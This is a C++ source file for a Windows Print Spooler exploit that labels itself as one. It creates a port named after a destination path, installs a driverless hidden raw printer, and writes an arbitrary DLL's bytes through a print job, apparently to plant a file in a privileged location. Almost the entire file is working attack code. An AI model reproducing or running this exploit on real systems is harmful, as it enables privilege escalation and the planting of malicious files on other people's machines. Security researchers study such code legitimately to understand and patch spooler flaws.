#include <windows.h>
#include <cstring>
#include <stdio.h>

LPWSTR g_DriverName = const_cast<LPWSTR>(L"Generic / Text Only");
LPWSTR g_PrinterName = const_cast <LPWSTR>(L"ColorMeIn");
LPWSTR g_PrinterOpenName = const_cast <LPWSTR>(L",XcvMonitor Local Port");

int cleanupPath(HANDLE hPrinter, HANDLE hMonitor, LPWSTR g_PortName)
{
    //
    // Now delete the printer and close the handle
    //
    BOOL bRes = false;
    DWORD dwNeeded = 0;
    DWORD dwStatus = 0;
    if (hPrinter != NULL)
    {
        bRes = DeletePrinter(hPrinter);
        if (bRes == FALSE)
        {
            //
            // Non fatal, this is the cleanup path
            //
            printf("[-] Failed to delete printer: %lx\n", GetLastError());
        }
        else {
            printf("[+] Printer deleted\n");
            ClosePrinter(hPrinter);
        }
    }

    //
    // Cleanup our port
    //
    if (hMonitor != NULL)
    {
        dwNeeded = ((DWORD)wcslen(g_PortName) + 1) * sizeof(WCHAR);
        bRes = XcvData(hMonitor,
            L"DeletePort",
            (LPBYTE)g_PortName,
            dwNeeded,
            NULL,
            0,
            &dwNeeded,
            &dwStatus);
        if (bRes == FALSE)
        {
            //
            // Non fatal, this is the cleanup path
            //
            printf("[-] Failed to delete port: %lx\n", GetLastError());
        }
        else {

            //
            // Close the monitor port
            //
            printf("[+] Port deleted\n");
            ClosePrinter(hMonitor);
        }
    }
    return 0;
}


INT
wmain(
    _In_ INT ArgumentCount,
    _In_ wchar_t* Arguments[]
)
{
    HRESULT hr;
    PRINTER_INFO_2 printerInfo;
    HANDLE hPrinter;
    HANDLE hMonitor;
    BOOL bRes;
    DWORD dwNeeded, dwStatus;
    PRINTER_DEFAULTS printerDefaults;
    DWORD dwExists;
    struct
    {
        ADDJOB_INFO_1 jobInfo;
        WCHAR pathString[MAX_PATH];
    } job;

    if (ArgumentCount != 3)
    {
        wprintf(L"exe destination source");
    }
    size_t buff_size = 512;
    DWORD dwJobId;
    DOC_INFO_1 docInfo;

    //
    // Initialize variables
    //
    UNREFERENCED_PARAMETER(Arguments);
    ZeroMemory(&job, sizeof(job));
    hPrinter = NULL;
    hMonitor = NULL;


    //
    // Open a handle to the XCV port of the local spooler
    //
    printerDefaults.pDatatype = NULL;
    printerDefaults.pDevMode = NULL;
    printerDefaults.DesiredAccess = SERVER_ACCESS_ADMINISTER;
    bRes = OpenPrinter(g_PrinterOpenName, &hMonitor, &printerDefaults);
    if (bRes == FALSE)
    {
        printf("Error opening XCV handle: %lx\n", GetLastError());
        cleanupPath(hPrinter, hMonitor, Arguments[1]);
    }

    //
    // Check if the target port name already exists 
    //
    dwNeeded = ((DWORD)wcslen(Arguments[1]) + 1) * sizeof(WCHAR);
    dwExists = 0;
    bRes = XcvData(hMonitor,
        L"PortExists",
        (LPBYTE)Arguments[1],
        dwNeeded,
        (LPBYTE)&dwExists,
        sizeof(dwExists),
        &dwNeeded,
        &dwStatus);
    if (dwExists == 0)
    {
        //
        // It doesn't, so create it!
        //
        dwNeeded = ((DWORD)wcslen(Arguments[1]) + 1) * sizeof(WCHAR);
        bRes = XcvData(hMonitor,
            L"AddPort",
            (LPBYTE)Arguments[1],
            dwNeeded,
            NULL,
            0,
            &dwNeeded,
            &dwStatus);
        if (bRes == FALSE)
        {
            printf("[-] Failed to add port: %lx\n", dwStatus);
            cleanupPath(hPrinter, hMonitor, Arguments[1]);
        }
    }
    else {
        printf("[-] Port Already exists: %lx\n", dwStatus);
        cleanupPath(hPrinter, hMonitor, Arguments[1]);
    }

    //
    // Check if the printer already exists
    //
    printerDefaults.pDatatype = NULL;
    printerDefaults.pDevMode = NULL;
    printerDefaults.DesiredAccess = PRINTER_ALL_ACCESS;
    bRes = OpenPrinter(g_PrinterName, &hPrinter, &printerDefaults);
    if ((bRes == FALSE) && (GetLastError() == ERROR_INVALID_PRINTER_NAME))
    {
        //
        // First, install the generic text only driver. Because this is already
        // installed, no privileges are required to do so.
        //
        hr = InstallPrinterDriverFromPackage(NULL, NULL, g_DriverName, NULL, 0);
        if (FAILED(hr))
        {
            printf("[-] Failed to install print driver: %lx\n", hr);
            cleanupPath(hPrinter, hMonitor, Arguments[1]);
        }

        //
        // Now create a printer to attach to this port
        // This data must be valid and match what we created earlier
        //
        ZeroMemory(&printerInfo, sizeof(printerInfo));
        printerInfo.pPortName = Arguments[1];
        printerInfo.pDriverName = g_DriverName;
        printerInfo.pPrinterName = g_PrinterName;

        //
        // This data must always be as indicated here
        //
        printerInfo.pPrintProcessor = const_cast < LPWSTR>(L"WinPrint");
        printerInfo.pDatatype = const_cast < LPWSTR>(L"RAW");

        //
        // This part is for fun/to find our printer easily
        //
        printerInfo.pComment = const_cast < LPWSTR>(L"I'd be careful with this one...");
        printerInfo.pLocation = const_cast < LPWSTR>(L"Inside of an exploit");
        printerInfo.Attributes = PRINTER_ATTRIBUTE_RAW_ONLY | PRINTER_ATTRIBUTE_HIDDEN;
        printerInfo.AveragePPM = 9001;
        hPrinter = AddPrinter(NULL, 2, (LPBYTE)&printerInfo);
        if (hPrinter == NULL)
        {
            printf("[-] Failed to create printer: %lx\n", GetLastError());
            cleanupPath(hPrinter, hMonitor, Arguments[1]);
        }
        else
        {
            printf("[+] Printer created successfully");
        }
    }

    //
    // Purge the printer of any previous jobs
    //
    bRes = SetPrinter(hPrinter, 0, NULL, PRINTER_CONTROL_PURGE);
    if (bRes == FALSE)
    {
        printf("Failed to purge jobs: %lx\n", GetLastError());
        cleanupPath(hPrinter, hMonitor, Arguments[1]);
    }

    //
    // Getting the dll buffer data
    //
    HANDLE hFile = CreateFileW(Arguments[2], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == NULL)
    {
        wprintf(L"[-] Unable to find input file %s", Arguments[1]);
        cleanupPath(hPrinter, hMonitor, Arguments[1]);
    }
    DWORD lFileSize = GetFileSize(hFile, NULL);
    //printf("file size : %d\n", lFileSize);
    BYTE* hDllBuffer = (BYTE*)malloc(lFileSize);
    DWORD lpBytesRead = 0;
    ReadFile(hFile, hDllBuffer, lFileSize, &lpBytesRead, NULL);
    CloseHandle(hFile);

    //
    //Writing to the printer
    //
    docInfo.pDatatype = const_cast < LPWSTR>(L"RAW");
    docInfo.pOutputFile = NULL;
    docInfo.pDocName = const_cast < LPWSTR>(L"Ignore Me");
    dwJobId = StartDocPrinter(hPrinter, 1, (LPBYTE)&docInfo);
    bRes = WritePrinter(hPrinter,
        hDllBuffer,
        lFileSize,
        &dwNeeded);
    if (bRes == FALSE)
    {
        printf("[-] Failed to write the spooler data: %lx\n", GetLastError());
        cleanupPath(hPrinter, hMonitor, Arguments[1]);
    }
    EndDocPrinter(hPrinter);
    return 0;
}